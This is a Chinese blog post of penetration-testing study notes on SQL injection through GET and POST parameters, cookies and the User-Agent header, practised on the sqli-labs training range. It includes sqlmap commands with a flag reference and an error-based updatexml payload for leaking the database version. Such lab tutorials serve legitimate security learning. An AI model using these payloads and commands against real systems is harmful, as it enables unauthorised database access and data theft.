学习笔记-渗透测试-SQL注入_006_注入位置

1 不同请求方式的注入

1.1 GET请求方式的SQL注入

前面的所有案例均为GET请求方式进行的SQL注入,GET请求方式,是将数据直接拼接在URL中进行

image-20230203000529316

burpsuite对页面进行抓包 可以发现,http使用的是get请求,同时在URL中也可以看得到参数的传递

image-20230203000950491

通过sqlmap进行注入

sqlmap -u "http://192.168.0.102:81/Less-1/?id=1" -p id --dbs

-u             指定url
-r             指定文件
--dbs          注入库名
--D            指定库名
--tables       注入表名
-T             指定表名
--columns      注入列名
-C             指定列名
--dump         注入数据

-p $id	指定注入点(注入点需要写在url或者文件中)
--cookie="$cookie" 需要登录时指定cookie参数

image-20230203003537900

1.2 POST请求方式的SQL注入

POST请求则是将数据放在HTTP body内进行传输

image-20230203005133853

测试的时候,我们可以通过burp的Repeater进行,也可以通过浏览器插件hackbar v2Post data进行(虽然该插件经常抽风)

image-20230203132409844

使用sqlmap进行body内容的数据测试,需要将完整的数据包(不带payload),进行保存,然后使用sqlmap -r参数读取

sqlmap -r "sqliabs11" -p uname --dbs

2023020301

2 特殊位置的注入

sql注入的位置并非只出现在请求体中,而是出现在任何可能与数据库产生交互的地方

2.1 存在于cookie中的注入

靶场:sqliabs Less-20

账号密码 Dumb Dumb

在登录过程中,我们进行抓包,在将账号和密码POST上传后,系统会下发Set-cookie

image-20230203154114322

在后续访问中,每一次访问都会带着cookie进行身份校验

image-20230203154215787

简单插入语句进行测试,我们发现,Cookie进行了sql查询,并且能够被我们控制插入语句

image-20230203155646369

对于特殊位置的SQL注入,我们将其保存成文档,将注入点后面添加*进行标识,使用sqlmap -r进行数据探测

2023020302

2.2 存在于User-Agent 中的注入

靶场:sqliabs Less-18

账号密码 Dumb Dumb

与cookie类似,某些系统也会将UA记录进入数据库之中,在该案例中,也是需要登录系统才会将UA和客户端IP信息写入数据库,burp抓包在User-Agent中加入引号进行测试,发现浏览器存在报错,存在注入点

image-20230204142819884

报错注入尝试获取版本号

 or updatexml(0,concat(0x2b5e,version()),0),",")#

image-20230204143157734

将数据包进行保存标注,放入burp进行数据获取

sqlmap -r "sqliabs18" --dbs

2023020401

3 SQLmap注入分类

根据sqlmap语句构成,可以将注入语句进行分类

1.盲注/显注 + GET + 参数	sqlmap -u '$url' -p $参数
2.盲注/显注 + POST + 参数	sqlmap -r '$请求包文件地址' -p $参数
3.盲注/显注 + GET/POST + cookie/UA -r '$请求包文件地址(标注注入点)'
posted @ 2023-02-26 23:10  kinghtxg  阅读(336)  评论(0)    收藏  举报